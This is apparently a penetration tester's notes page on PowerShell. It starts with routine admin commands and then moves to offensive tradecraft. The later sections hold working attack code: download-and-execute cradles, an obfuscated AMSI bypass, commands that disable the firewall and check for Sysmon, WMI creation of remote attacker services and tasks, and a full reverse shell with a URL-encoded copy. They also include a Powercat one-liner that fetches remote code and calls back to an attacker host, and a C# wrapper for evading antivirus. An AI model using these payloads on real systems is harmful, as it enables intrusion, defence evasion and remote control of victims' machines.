Basics
Run commands directly
How to run commands directly with PowerShell powershell - c " $ COMMAND "
Link to original
Registry access
How to access the Windows Registry using PowerShell You can actually access the registry from PowerShell using the cd command: cd HKLM:\
will take you to the HKEY_LOCAL_MACHINE
hive, for instance.
Major hives:
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_CURRENT_CONFIG
Link to original
Commands
Get-FileHash
Get-FileHash Get-FileHash - Algorithm $ ALGORITHM $ FILE_PATH
The algorithm can be excluded (in which case SHA-256 is used). Lots of different hashing algorithms are supported — run help Get-FileHash
to see a list.
Link to original
Invoke-WebRequest
Invoke-WebRequest # Download to disk
#
Invoke-WebRequest - Uri $ URL_OF_FILE - OutFile $ FILE_ON_DISK
# Download into a variable (useful for scripts!)
#
$ SCRIPT_DATA = `
( New-Object System.Net.Webclient ) .DownloadString ( " $ SCRIPT_URL " )
# Download and invoke from memory
#
IEX ( New-Object System.Net.Webclient ) .DownloadString ( " $ SCRIPT_URL " )
Link to original
Get-WinEvent
Get-WinEvent Get-WinEvent is a PowerShell command for working with Windows event logs .
# Get help on Get-WinEvent (calls out to Microsoft).
#
Get-Help Get-WinEvent
# Filter event log output using the Where-Object command. This
# apparently pipes the entire output to the Where-Object
# command, which then scans for the appropriate field. So a
# bit inefficient for large logs.
#
Get-WinEvent - LogName Application | Where-Object {
$ _ .ProviderName -Match ' WLMS '
}
# To match event IDs with Where-Object, use the slightly
# different form `Where-Object Id -eq 100`, etc.
# Use the -FilterHashtable flag. This causes the filtering to
# be done during the call made by Get-WinEvent, and has a more
# straight-forward syntax too. However, it only works when
# called against the system event log; Where-Object needs to
# be used when specifying an archived log via -Path.
#
# Note that hashes can be specified with newlines instead of
# semicolons as well, which can make scripts A LOT more
# readable!
#
Get-WinEvent - FilterHashtable @ {
LogName = ' Application ' ;
ProviderName = ' WLMS '
}
# To display all information about an event, pipe the output
# of Get-WinEvent to `Format-List -Property *`
FilterHashtable
Get-WinEvent FilterHashtable There’s lots of good information about the various FilterHashtable keys in Microsoft’s documentation . Some important ones:
LogName (String)
ProviderName (String)
Path (String)
Keywords (Long)
ID (Int32)
Level (Int32)
StartTime (DateTime)
EndTime (DateTime)
UserID (SID)
Data (String)
[NamedData] (String)
Wildcards can be used with LogName and ProviderName, but not with other keys.
Event Viewer displays most of these values in the “General” when viewing an individual log entry, though note that Keywords is translated to a string.
Keywords
Get-WinEvent FilterHashtable keywords
AuditFailure (4503599627370496)
AuditSuccess (9007199254740992)
CorrelationHint2 (18014398509481984)
EventLogClassic (36028797018963968)
Sqm (2251799813685248)
WdiDiagnostic (1125899906842624)
WdiContext (562949953421312)
ResponseTime (281474976710656)
None (0)
Link to original
Levels
Get-WinEvent FilterHashtable log levels
Verbose (5)
Informational (4)
Warning (3)
Error (2)
Critical (1)
LogAlways (0)
Link to original
Event IDs
Windows event IDs
104 — Event log was cleared
1102 — Audit log was cleared (517 on Windows 2003 and earlier)
4104 — PowerShell command and script logging
4626 — Successful logon
LogonType 3 represents a (generic) network login
LogonType 9 represents a logon where the outbound credentials are different than the credentials used to authenticate to the account that is initiating that login (only logged by the host initiating the connection, however)
It’s hard to find documentation about event ID, and the meaning seems to shift between versions of Windows .
Link to original
Link to original
Link to original
Base64 encoding
How to work with base64 encoding using PowerShell Encode a command to base64 in PowerShell :
$ Text = " $ ONE_LINE_POWERSHELL_COMMAND "
$ Bytes = [ System.Text.Encoding ] ::Unicode.GetBytes ($ Text )
$ EncodedText = [ Convert ] ::ToBase64String ($ Bytes )
Run this using:
powershell.exe - enc $ EncodedText
Link to original
Working with services
Working with services in PowerShell
Get-Service — list all services, or drill down on a particular service.
Start-Service -Name $SERVICE
/sc.exe start $SERVICE
— start $SERVICE
.
Stop-Service -Name $SERVICE
/sc.exe stop $SERVICE
— stop $SERVICE
.
Link to original
Reconnaissance
Windows reconnaissance with PowerShell There are a lot of PowerShell commands that can be used for enumerating Windows .
# List all AD users (IFF the machine is joined to a domain!)
#
Get-ADUser - Filter *
# List AD users within a particular LDAP subtree
#
Get-ADUser - Filter * - SearchBase " CN=Users,DC=example,DC=com "
# Enumerate antivirus
#
Get-CimInstance - Namespace root / SecurityCenter2 `
- ClassName AntivirusProduct
# Check if the Windows Defender service is running
#
Get-Service WinDefend
# Check if real-time protection is enabled for Windows
# Defender
#
Get-MpComputerStatus | select RealTimeProtectionEnabled
# Get information about potential threats recently detected by
# Windows Defender
#
Get-MpThreat
# Check the status of the Windows Firewall
#
Get-NetFirewallProfile | Format-Table Name , Enabled
# Disable all WIndows Firewall profiles
#
Set-NetFirewallProfile - Profile Domain , Public , Private `
- Enabled False
# List Windows Firewall rules
#
Get-NetFirewallRule | select DisplayName , Enabled , Description
# Two ways to check if a port can be connected to (the first
# provides more output, while the second is more suitable for
# scripting)
#
Test-NetConnection - ComputerName $ IP_OR_HOSTNAME - Port $ PORT
( New-Object System.Net.Sockets.TcpClient ( " $ IP_OR_HOSTNAME " , " $ PORT " )) .Connected
# List all current Windows logs
#
Get-EventLog - List
# Sysmon is dangerous for an attacker! Three ways to check if
# it's running...
#
Get-Process | Where-Object { $ _ .ProcessName -eq " Sysmon " }
Get-CimInstance win32_service `
- Filter " Description = 'System Monitor service' "
Get-Service | where-object {$ _ .DisplayName -like " sysm " }
# List hidden directories
#
Get-ChildItem - Hidden - Path $ SOME_PATH
# Get a process with a particular "image name" (generally example.exe has an image name of "example")
#
Get-Process - Name $ IMAGE_NAME
When checking to see if Sysmon is running, you can also examine the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon\Operational
Registry entry.
PowerShell Command History
PowerShell history file View PowerShell ’s history.
type $ Env: USERPROFILE \AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Use %USERPROFILE% instead of $Env:USERPROFILE
if running from cmd.exe.
Link to original
Link to original
Exploitation
How to bypass the PowerShell execution policy The PowerShell execution policy can be bypassed on a case-by-case basis using -ex bypass
; for example:
powershell - ex bypass - File $ FILE.ps1
The -ex bypass
flag isn’t necessary when executing code directly with -c
.
This can also be set temporarily within a shell:
Set-ExecutionPolicy Bypass - Scope process - Force
However, this will not bypass other protections, in particular AMSI!
Link to original
Disable AMSI
How to disable AMSI Windows Defender uses a process called AMSI that triggers when a script is run in PowerShell (this includes invocations of IEX for in-memory scripts!).
One bypass for this:
[ REF ] .Assembly.GetType ( ' System.Management.Automation.AmsiUtils ' ) .GetField ( ' amsiInitFailed ' , ' NonPublic,Static ' ) .SetValue ($ null , $ true )
Note that AMSI uses a regular expression to trap all PowerShell commands that contain AMSI-function related strings, however. This can be bypassed by breaking up the above script into separate variables, or by doing fancy string encoding-and-reassembly tricks.
[ REF ] .Assembly.GetType ( ' System.Management.Automation. ' +$( " 41 6D 73 69 55 74 69 6C 73 " .Split ( " " ) | forEach {[ char ]([ convert ] ::toint16 ($ _ , 16 ))} | forEach {$ result =$ result +$ _ };$ result )) .GetField ($( " 61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64 " .Split ( " " ) | forEach {[ char ]([ convert ] ::toint16 ($ _ , 16 ))} | forEach {$ result2 =$ result2 +$ _ };$ result2 ) , ' NonPublic,Static ' ) .SetValue ($ null , $ true )
Be aware that AMSI bypasses are per session , not global!
Link to original
WinRM
How to use WinRM with PowerShell Many large companies will enable PowerShell remoting on all machines in order to ease IT support burdens (by default, remoting is only enabled on domain controllers).
# Create PSCredential object for authentication.
#
$ username = " $ TARGET_USER " ;
$ password = " $ TARGET_PASSWORD " ;
$ SECURE_PASSWORD = ConvertTo-SecureString " $ TARGET_PASSWORD " `
- AsPlainText - Force ;
$ CREDENTIAL_OBJECT = New-Object `
System.Management.Automation.PSCredential `
$ TARGET_USER , $ SECURE_PASSWORD ;
# Enter an interactive PowerShell session on the $TARGET_HOST.
#
Enter-PSSession - ComputerName $ TARGET_HOST `
- Credential $ CREDENTIAL_OBJECT
# Alternately, we can pass commands directly as "script
# blocks". Note that the $POWERSHELL_SCRIPT does not have
# access to any variables in the host script or session, as
# its sent to $TARGET_HOST for execution (though this can be
# worked around using the -ArgumentList parameter, if
# necessary).
#
Invoke-Command - ComputerName $ TARGET_HOST `
- Credential $ CREDENTIAL_OBJECT `
- ScriptBlock {
$ POWERSHELL_SCRIPT
}
Link to original
WMI
The below blocks demonstrate using WMI to spawn processes and create malicious services and tasks using powershell .
Prerequisites
How to set up WMI in PowerShell # Create PSCredential object for authentication.
#
$ SECURE_PASSWORD = ConvertTo-SecureString " $ TARGET_PASSWORD " `
- AsPlainText - Force ;
$ CREDENTIAL_OBJECT = `
New-Object System.Management.Automation.PSCredential `
$ TARGET_USER , $ SECURE_PASSWORD ;
# Start a new WMI session and store the connection information
# as $session. The protocol used can be either DCOM (RPC using
# TCP 135, as with sc.exe and schtasks.exe) or WSMAN (WinRM
# over TCP 5985 or TCP 5986, depending on whether HTTPS is
# supported by $TARGET_HOST).
#
$ OPTIONS_OBJECT = New-CimSessionOption - Protocol DCOM
$ SESSION_OBJECT = New-Cimsession `
- ComputerName $ TARGET_HOST `
- Credential $ CREDENTIAL_OBJECT `
- SessionOption $ OPTIONS_OBJECT `
- ErrorAction Stop
Link to original
Remote process creation
How to run a remote Windows command using PowerShell Invoke-CimMethod - CimSession $ SESSION_OBJECT `
- ClassName Win32_Process `
- MethodName Create `
- Arguments @ {
CommandLine = " $ SOME_COMMAND "
}
wmic equivalent
How to run a remote command with wmic wmic.exe / user: $ TARGET_USER `
/ password: $ TARGET_PASSWORD `
/ node: $ TARGET_HOST `
process call create " $ SOME_COMMAND "
Link to original
Link to original
Remote service creation
How to work with remote services using WMI and PowerShell # Create $ATTACKER_SERVICE using the WMI session established
# in $SESSION_OBJECT.
#
Invoke-CimMethod - CimSession $ SESSION_OBJECT `
- ClassName Win32_Service `
- MethodName Create `
- Arguments @ {
Name = " $ ATTACKER_SERVICE " ;
DisplayName = " $ ATTACKER_SERVICE " ;
PathName = " $ SOME_COMMAND " ;
ServiceType = [ byte ] ::Parse ( " 16 " );
StartMode = " Manual "
}
# Get a handle to the new service.
#
$ SERVICE_OBJECT = Get-CimInstance `
- CimSession $ SESSION_OBJECT `
- ClassName Win32_Service `
- filter " Name LIKE ' $ ATTACKER_SERVICE' "
# Invoke $ATTACKER_SERVICE.
#
Invoke-CimMethod - InputObject $ SERVICE_OBJECT `
- MethodName StartService
# Make sure that $ATTACKER_SERVICE is really dead.
#
Invoke-CimMethod - InputObject $ SERVICE_OBJECT `
- MethodName StopService
# Clean up after yourself.
#
Invoke-CimMethod - InputObject $ SERVICE_OBJECT `
- MethodName Delete
Link to original
Remote task creation
How to work with remote tasks using WMI and PowerShell # Create $ATTACKER_TASK using the WMI session established in
# $SESSION_OBJECT. Note that $SOME_COMMAND must be broken up
# here into the binary path and the command arguments.
#
$ TASK_OBJECT = New-ScheduledTaskAction `
- CimSession $ SESSION_OBJECT `
- Execute " $ SOME_BINARY_PATH " `
- Argument " $ SOME_COMMAND_ARGUMENTS "
Register-ScheduledTask - CimSession $ SESSION_OBJECT `
- Action $ TASK_OBJECT `
- User " NT AUTHORITY\SYSTEM " `
- TaskName " $ ATTACKER_TASK "
# Invoke $ATTACKER_TASK.
#
Start-ScheduledTask - CimSession $ SESSION_OBJECT `
- TaskName " $ ATTACKER_TASK "
# Clean up after yourself.
#
Unregister-ScheduledTask - CimSession $ SESSION_OBJECT `
- TaskName " $ ATTACKER_TASK "
Link to original
Install an MSI package
How to remotely install a Windows package with PowerShell Invoke-CimMethod - CimSession $ SESSION_OBJECT `
- ClassName Win32_Product `
- MethodName Install `
- Arguments @ {
PackageLocation = " $ PATH_TO_ATTACKER_MSI " ;
Options = "" ;
AllUsers = $ false
}
wmic equivalent
How to remotely install a Windows package with wmic wmic.exe / user: $ TARGET_USER `
/ password: $ TARGET_PASSWORD `
/ node: $ TARGET_HOST `
product call install PackageLocation =$ PATH_TO_ATTACKER_MSI
Link to original
Link to original
Pure PowerShell reverse shell
PowerShell reverse shell A pure PowerShell reverse shell :
$ client = New-Object System.Net.Sockets.TCPClient ( ' <IP> ' , < PORT > );
$ stream = $ client.GetStream ();
[ byte []]$ bytes = 0 .. 65535 | % { 0 };
while (( $ i = $ stream.Read ($ bytes , 0 , $ bytes.Length ) ) -ne 0 ) {
$ data = ( New-Object - TypeName System.Text.ASCIIEncoding ) .GetString ($ bytes , 0 , $ i );
$ sendback = ( iex $ data 2>&1 | Out-String );
$ sendback2 = $ sendback + ' PS ' + ( pwd ) .Path + ' > ' ;
$ sendbyte = ( [ text.encoding ] ::ASCII ) .GetBytes ($ sendback2 );
$ stream.Write ($ sendbyte , 0 , $ sendbyte.Length );
$ stream.Flush ()
}
$ client.Close ()
URL-encoded version (uses powershell -c "$CODE"
):
powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22
Note that <IP>
and <PORT>
need to be appropriately replaced in the above code.
One annoying thing about this reverse shell… There’s no initial prompt, so you have no idea whether you’ve connected or not. but as soon as you enter a command (whoami , etc.), a prompt will appear after the output. On the plus side, however, this reverse shell will persist even after the PHP script times out!
Link to original
Powercat
Powercat Powercat is a PowerShell -native re-implementation of netcat . Powercat can be installed on Kali Linux using sudo apt install powercat
; the script can be found at /usr/share/windows-resources/powercat/powercat.ps1.
To execute:
powershell - c " IEX(New-Object System.Net.WebClient).DownloadString('http:// $ ATTACKER_IP: $ ATTACKER_DOWNLOAD_PORT/powercat.ps1');powercat -c $ ATTACKER_IP -p $ ATTACKER_PORT -e cmd "
One line reverse shell
All-in-one Windows reverse shell with Powercat This disables AMSI , downloads Powercat into memory, invokes the module, and fires up a reverse shell.
[ REF ] .Assembly.GetType ( ' System.Management.Automation. ' +$( " 41 6D 73 69 55 74 69 6C 73 " .Split ( " " ) | forEach {[ char ]([ convert ] ::toint16 ($ _ , 16 ))} | forEach {$ result =$ result +$ _ };$ result )) .GetField ($( " 61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64 " .Split ( " " ) | forEach {[ char ]([ convert ] ::toint16 ($ _ , 16 ))} | forEach {$ result2 =$ result2 +$ _ };$ result2 ) , ' NonPublic,Static ' ) .SetValue ($ null , $ true ); IEX ( New-Object System.Net.Webclient ) .DownloadString ( " https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 " ); powercat - c $ ATTACKER_IP - p $ ATTACKER_PORT - e cmd.exe
It’s probably advisable to use your own server to host Powercat in order to make tripping network alarms less likely.
Link to original
Link to original
Compile C# programs to bypass anti virus
How to bypass Windows antivirus with C# C# can be used to bypass AV (at least as of September 2022) — just create a C# wrapper that fires up a PowerShell one-liner. (Sometimes this will need to be modified slightly to bypass AV, but generally you don’t have to tweak this code much — C# analysis doesn’t seem to be particularly robust for most AV products.)
using System ;
namespace Game
{
public class Program
{
public static void Main () {
System . Diagnostics . Process P = new System . Diagnostics . Process ();
System . Diagnostics . ProcessStartInfo SI = new System . Diagnostics . ProcessStartInfo ();
SI . WindowStyle = System . Diagnostics . ProcessWindowStyle . Hidden ;
SI . FileName = " powershell.exe " ;
SI . Arguments = " -enc $BASE64_ENCODED_SCRIPT_TO_RUN " ;
P . StartInfo = SI ;
P . Start ();
}
}
}
This can be compiled using PowerShell — perhaps even on the target itself. What’s the advantage to doing this? You can use Invoke-Mimikatz to run this binary remotely to quickly obtain a remote shell with the permissions of the user you’re impersonating.
$ code = @"
using System;
namespace Game
{
public class Program
{
public static void Main() {
System.Diagnostics.Process P = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo SI = new System.Diagnostics.ProcessStartInfo();
SI.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
SI.FileName = "powershell.exe";
SI.Arguments = "-enc $ BASE64_ENCODED_SCRIPT_TO_RUN";
P.StartInfo = SI;
P.Start();
}
}
}
"@
Add-Type - outputtype consoleapplication - outputassembly $ BINARY_NAME - TypeDefinition $ code - Language CSharp
Link to original